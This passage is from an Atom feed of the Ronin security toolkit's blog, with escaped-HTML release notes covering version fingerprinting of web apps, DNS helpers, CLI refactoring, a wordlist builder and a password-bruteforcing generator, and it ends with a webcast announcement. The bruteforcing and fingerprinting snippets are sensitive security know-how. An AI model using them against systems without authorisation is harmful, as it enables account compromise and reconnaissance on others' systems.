  &lt;span class=&quot;c1&quot;&gt;# @see http://tools.sucuri.net/?page=docs&amp;amp;title=fingerprinting-web-apps&lt;/span&gt;
  &lt;span class=&quot;no&quot;&gt;VERSIONS&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;a306a72ce0f250e5f67132dc6bcb2ccb&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.0&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;4f04728cb4631a553c4266c14b9846aa&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;25e1e78d5b0c221e98e14c6e8c62084f&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.2&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;83c83d0f0a71bd57c320d93e59991c53&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.3&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;7293453cf0ff5a9a4cfe8cebd5b5a71a&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.5&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;61740709537bd19fb6e03b7e11eb8812&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.6&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;e6bbc53a727f3af003af272fd229b0b2&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.7&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;e6bbc53a727f3af003af272fd229b0b2&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.7.1&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;s1&quot;&gt;&amp;#39;128e75ed19d49a94a771586bf83265ec&amp;#39;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;2.9.1&amp;#39;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;version&lt;/span&gt;
    &lt;span class=&quot;no&quot;&gt;VERSIONS&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;http_get_body&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:host&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;vi&quot;&gt;@host&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;PATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;md5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Additionally, all Network modules are included into the &lt;a href=&quot;/docs/ronin-support/Ronin/Support.html&quot;&gt;Ronin::Support&lt;/a&gt;
and &lt;a href=&quot;/docs/ronin/Ronin.html&quot;&gt;Ronin&lt;/a&gt; namespaces, so no more having to type &quot;&lt;code&gt;Net.&lt;/code&gt;&quot;:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; tcp_banner 'smtp.gmail.com', 25
=&amp;gt; &quot;220 mx.google.com ESMTP g3sm14650755pbt.41&quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Network::DNS&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Network/DNS.html&quot;&gt;Network::DNS&lt;/a&gt; was added, which provides simple DNS methods for Ronin.&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;dns_lookup&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;google.com&amp;#39;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;74.125.224.65&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;dns_lookup_all&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;google.com&amp;#39;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; [&amp;quot;74.125.224.128&amp;quot;, &amp;quot;74.125.224.131&amp;quot;, &amp;quot;74.125.224.130&amp;quot;, &amp;quot;74.125.224.136&amp;quot;, &amp;quot;74.125.224.132&amp;quot;, &amp;quot;74.125.224.129&amp;quot;, &amp;quot;74.125.224.142&amp;quot;, &amp;quot;74.125.224.133&amp;quot;, &amp;quot;74.125.224.137&amp;quot;, &amp;quot;74.125.224.134&amp;quot;, &amp;quot;74.125.224.135&amp;quot;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;




&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;n&quot;&gt;dns_reverse_lookup&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;74.125.224.65&amp;#39;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# =&amp;gt; &amp;quot;nuq04s07-in-f1.1e100.net&amp;quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h3&gt;New Network Mixins&lt;/h3&gt;

&lt;p&gt;&lt;a href=&quot;/docs/ronin-support/Ronin/Network/Mixins/DNS.html&quot;&gt;Network::Mixins::DNS&lt;/a&gt; and &lt;a href=&quot;/docs/ronin-support/Ronin/Network/Mixins/SSL.html&quot;&gt;Network::Mixins::SSL&lt;/a&gt; were also added.&lt;/p&gt;

&lt;h2&gt;ronin 1.4.0&lt;/h2&gt;

&lt;h3&gt;Refactored Ronin::UI::CLI::Command&lt;/h3&gt;

&lt;p&gt;In &lt;a href=&quot;/docs/ronin/&quot;&gt;ronin&lt;/a&gt; 1.4.0 &lt;a href=&quot;/docs/ronin/Ronin/UI/CLI/Command.html&quot;&gt;Ronin::UI::CLI::Command&lt;/a&gt; (the base-class for all CLI
commands) was refactored to no longer use the &lt;a href=&quot;https://github.com/wycats/thor#readme&quot;&gt;Thor&lt;/a&gt; library.
Now the Command class uses &lt;a href=&quot;http://rubydoc.info/gems/parameters/0.4.0/Parameters/Options&quot;&gt;Parameters::Options&lt;/a&gt;, which combines the
&lt;a href=&quot;http://rubydoc.info/gems/parameters/0.4.0/file/README.md&quot;&gt;Parameters&lt;/a&gt; library with Ruby's builtin &lt;a href=&quot;http://rubydoc.info/stdlib/optparse/1.9.2/OptionParser&quot;&gt;OptionParser&lt;/a&gt; module.&lt;/p&gt;

&lt;p&gt;What resulted from this refactoring was cleaner option syntax and better
&lt;code&gt;--help&lt;/code&gt; output. Take for example the [Wordlist] command:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;k&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Wordlist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Command&lt;/span&gt;
    
  &lt;span class=&quot;n&quot;&gt;summary&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Builds and/or mutates Wordlists&amp;#39;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:type&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                 &lt;span class=&quot;ss&quot;&gt;:flag&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;-i&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                 &lt;span class=&quot;ss&quot;&gt;:usage&lt;/span&gt;       &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;FILE&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                 &lt;span class=&quot;ss&quot;&gt;:description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Input file&amp;#39;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:output&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:type&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;ss&quot;&gt;:flag&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;-o&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;ss&quot;&gt;:usage&lt;/span&gt;       &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;PATH&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                  &lt;span class=&quot;ss&quot;&gt;:description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Output wordlist file&amp;#39;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;option&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:mutations&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:type&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;no&quot;&gt;Hash&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;ss&quot;&gt;:default&lt;/span&gt;      &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{},&lt;/span&gt;
                     &lt;span class=&quot;ss&quot;&gt;:flag&lt;/span&gt;         &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;-m&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;ss&quot;&gt;:usage&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;STRING:SUB&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                     &lt;span class=&quot;ss&quot;&gt;:descriptions&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Mutations rules&amp;#39;&lt;/span&gt;

  &lt;span class=&quot;n&quot;&gt;argument&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:template&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;ss&quot;&gt;:type&lt;/span&gt;        &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
                      &lt;span class=&quot;ss&quot;&gt;:description&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;Options word template&amp;#39;&lt;/span&gt;

  &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;execute&lt;/span&gt;
    &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;Which produces the following &lt;code&gt;--help&lt;/code&gt; output:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;Usage: ronin wordlist [options] TEMPLATE

Options:
    -v, --[no-]verbose               Enable verbose output.
    -q, --[no-]quiet                 Disable verbose output.
        --[no-]silent                Silence all output.
        --[no-]color                 Enables color output.
    -i, --input [FILE]               Input file.
    -o, --output [PATH]              Output wordlist file.
    -m, --mutations [STRING:SUB]     Default: {}

Arguments:
    TEMPLATE                         Options word template

Builds and/or mutates Wordlists
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;It really is that easy to write your own Ronin commands.&lt;/p&gt;

&lt;h3&gt;Old commands, new again&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;ronin&lt;/code&gt; &lt;code&gt;install&lt;/code&gt;, &lt;code&gt;update&lt;/code&gt; and &lt;code&gt;uninstall&lt;/code&gt; commands have been brought back
in 1.4.0.&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ronin install https://github.com/user/repo.git
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;The &lt;code&gt;ronin repos&lt;/code&gt; command now only lists installed Repositories.&lt;/p&gt;

&lt;h3&gt;Ronin Console .commands&lt;/h3&gt;

&lt;p&gt;After playing with &lt;a href=&quot;http://nodejs.org/&quot;&gt;Node.js&lt;/a&gt;, I liked how &lt;code&gt;node&lt;/code&gt; console commands were
prefixed with a &lt;code&gt;.&lt;/code&gt; character (ex: &lt;code&gt;.load&lt;/code&gt;). The &lt;code&gt;.command&lt;/code&gt; syntax also does
not conflict with Ruby's syntax. In 1.4.0 all &lt;code&gt;!command&lt;/code&gt;s can also be called
as &lt;code&gt;.command&lt;/code&gt;s in the Ronin Console:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt; .edit myscript.rb
=&amp;gt; true
&amp;gt;&amp;gt; .ping www.google.com
...
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;ronin-gen 1.1.0&lt;/h2&gt;

&lt;h3&gt;Ronin::Gen::Generator refactored&lt;/h3&gt;

&lt;p&gt;In &lt;a href=&quot;/docs/ronin-gen/&quot;&gt;ronin-gen&lt;/a&gt; 1.1.0, &lt;a href=&quot;/docs/ronin-gen/Ronin/Gen/Generator.html&quot;&gt;Ronin::Gen::Generator&lt;/a&gt; (the base-class of all
generators) was also refactored to no longer use the &lt;a href=&quot;https://github.com/wycats/thor#readme&quot;&gt;Thor&lt;/a&gt; library.
Instead, all Generators use the &lt;a href=&quot;http://rubydoc.info/gems/parameters/0.4.0/file/README.md&quot;&gt;Parameters&lt;/a&gt; library with Ruby's builtin
&lt;a href=&quot;http://rubydoc.info/stdlib/fileutils/1.9.2/file/README.rdoc&quot;&gt;FileUtils&lt;/a&gt; module. This change lowers the barrier for writing custom
Ronin Generators.&lt;/p&gt;

&lt;p&gt;For an example of the new Generator syntax, please see the &lt;a href=&quot;/docs/ronin-gen/Ronin/Gen/Generators/Repository.html&quot;&gt;Repository&lt;/a&gt;
generator class.&lt;/p&gt;

&lt;h3&gt;Improved ronin-gen command&lt;/h3&gt;

&lt;p&gt;The &lt;code&gt;ronin-gen&lt;/code&gt; command now uses &lt;a href=&quot;http://rubydoc.info/gems/parameters/0.4.0/Parameters/Options&quot;&gt;Parameters::Options&lt;/a&gt; to directly parse
options for the selected Generator. This also improved the &lt;code&gt;--help&lt;/code&gt; output
for all Generators:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ronin-gen repository --help
ronin-gen repository PATH [options]
        --path [PATH]                The destination path.
        --title [TITLE]
        --uri [URI]
        --source [SOURCE]
        --website [WEBSITE]
        --license [LICENSE]          Default: &quot;CC-by&quot;
        --description [DESCRIPTION]  Default: &quot;This is a Ronin Repository&quot;
        --authors [AUTHORS [...]]    Default: []
        --[no-]tests
        --[no-]docs
        --[no-]svn                   Create a SVN repository.
        --[no-]git                   Create a Git repository.
        --[no-]hg                    Create a Hg repository.
&lt;/code&gt;&lt;/pre&gt;

&lt;h3&gt;Generate SVN, Git, Hg Repositories&lt;/h3&gt;

&lt;p&gt;The &lt;a href=&quot;/docs/ronin-gen/Ronin/Gen/Generators/Repository.html&quot;&gt;Repository&lt;/a&gt; generator now supports generating SVN, Git and Hg
repositories:&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;$ ronin-gen repository myrepo --title &quot;My Repository&quot; --hg
&lt;/code&gt;&lt;/pre&gt;
</content>
  </entry>
  
  <entry>
    <title>Ronin Internals Webcast</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2011/11/04/ronin-internals-webcast.html" />
    <updated>Fri Nov 04 00:00:00 -0700 2011</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2011/11/04/ronin-internals-webcast.html</id>
    <content type="html">&lt;p&gt;This Saturday (Nov. 5th) we will be giving a webcast on the internals of
&lt;a href=&quot;https://github.com/ronin-ruby/ronin-support#readme&quot;&gt;ronin-support&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin#readme&quot;&gt;ronin&lt;/a&gt;, &lt;a href=&quot;https://github.com/ronin-ruby/ronin-exploits#readme&quot;&gt;ronin-exploits&lt;/a&gt; and &lt;a href=&quot;https://github.com/ronin-ruby/ronin-scanners#readme&quot;&gt;ronin-scanners&lt;/a&gt;.
The topics that we will cover are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Convenience methods in action&lt;/li&gt;
&lt;li&gt;Using the Ronin Database&lt;/li&gt;
&lt;li&gt;Ronin Repositories Explained&lt;/li&gt;
&lt;li&gt;Ronin Exploits and Payloads&lt;/li&gt;
&lt;li&gt;Ronin WebAttacks (LFI, RFI, SQLi)&lt;/li&gt;
&lt;li&gt;Ronin PostExploitation API&lt;/li&gt;
&lt;li&gt;Ronin Scanners&lt;/li&gt;
&lt;/ul&gt;


&lt;p&gt;This webcast will take place from 16:00 PDT to 20:00 PDT. All Ronin webcasts are
free and requires no registration. Just go to
&lt;a href=&quot;http://yuuguu.com/share&quot;&gt;yuuguu.com/share&lt;/a&gt; and join the conference-call
at &lt;strong&gt;1-415-363-0849&lt;/strong&gt;, using the PIN &lt;strong&gt;272335&lt;/strong&gt; for both.&lt;/p&gt;

&lt;p&gt;This is the first time that we have done a Ronin webcast, and was a spur of the
moment decision. We will probably be doing more webcasts in the future, so don't
worry if you missed the first one. ;)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Update:&lt;/strong&gt; The last 3rd of the webcast was &lt;a href=&quot;http://vimeo.com/31666052&quot;&gt;recorded&lt;/a&gt;, although the audio
quality is not the best.&lt;/p&gt;
</content>
  </entry>
  
  <entry>
    <title>ronin-support 0.3.0 and ronin 1.3.0 released</title>
    <link href="http://ronin-ruby.gihtub.io/blog/2011/10/16/ronin-support-0-3-0-and-ronin-1-3-0-released.html" />
    <updated>Sun Oct 16 00:00:00 -0700 2011</updated>
    <author>
      <name>postmodern</name>
    </author>
    <id>http://ronin-ruby.gihtub.io/blog/2011/10/16/ronin-support-0-3-0-and-ronin-1-3-0-released.html</id>
    <content type="html">&lt;p&gt;After roughly three months, new versions of &lt;a href=&quot;http://rubygems.org/gems/ronin-support&quot;&gt;ronin-support&lt;/a&gt; and &lt;a href=&quot;http://rubygems.org/gems/ronin&quot;&gt;ronin&lt;/a&gt;
have been released!&lt;/p&gt;

&lt;h2&gt;Upgrade&lt;/h2&gt;

&lt;pre&gt;&lt;code&gt;$ gem update ronin
&lt;/code&gt;&lt;/pre&gt;

&lt;h2&gt;Easier Text Processing&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/File#each_line-class_method&quot;&gt;File.each_line&lt;/a&gt; and &lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/File#each_row-class_method&quot;&gt;File.each_row&lt;/a&gt; were added to help with processing
large text-files:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each_line&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;wordlist.txt&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;word&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt; 
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;word&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;

&lt;span class=&quot;no&quot;&gt;File&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;each_row&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;quot;users_dump.txt&amp;quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;user&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pass&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;h2&gt;Builtin Regexps&lt;/h2&gt;

&lt;p&gt;Some common and useful &lt;a href=&quot;https://github.com/ronin-ruby/ronin-support/blob/v0.3.0/lib/ronin/extensions/regexp.rb#L22-45&quot;&gt;Regular Expressions&lt;/a&gt; were added to ronin-support:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Regexp::MAC&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Regexp::IPv4&lt;/code&gt;, &lt;code&gt;Regexp::IPv6&lt;/code&gt;, &lt;code&gt;Regexp::IP&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Regexp::HOST_NAME&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Regexp::USER_NAME&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Regexp::EMAIL_ADDR&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;


&lt;h2&gt;Bruteforcing and Fuzzing&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/String#generate-class_method&quot;&gt;String.generate&lt;/a&gt; was added to assist in enumerating over every possible
String, based on a format template. This method is especially useful for
bruteforcing passwords or directories. The following code enumerates through
every password starting with five alpha characters and ending in one to three
numeric characters:&lt;/p&gt;

&lt;div class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;ruby&quot;&gt;&lt;span class=&quot;nb&quot;&gt;String&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;generate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:alpha&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;ss&quot;&gt;:numeric&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;|&lt;/span&gt;
  &lt;span class=&quot;nb&quot;&gt;puts&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;password&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;end&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;&lt;a href=&quot;http://rubydoc.info/gems/ronin-support/0.3.0/String#fuzz-instance_method&quot;&gt;String#fuzz&lt;/a&gt; was added to assist in fuzzing Strings. This method will find
all occurrences of a sub-string or regular expression, and replace each one
with one or more substitutions. The following code replaces every occurrence of
a number with 1 to 100 &lt;code&gt;9&lt;/code&gt; characters:&lt;/p&gt;

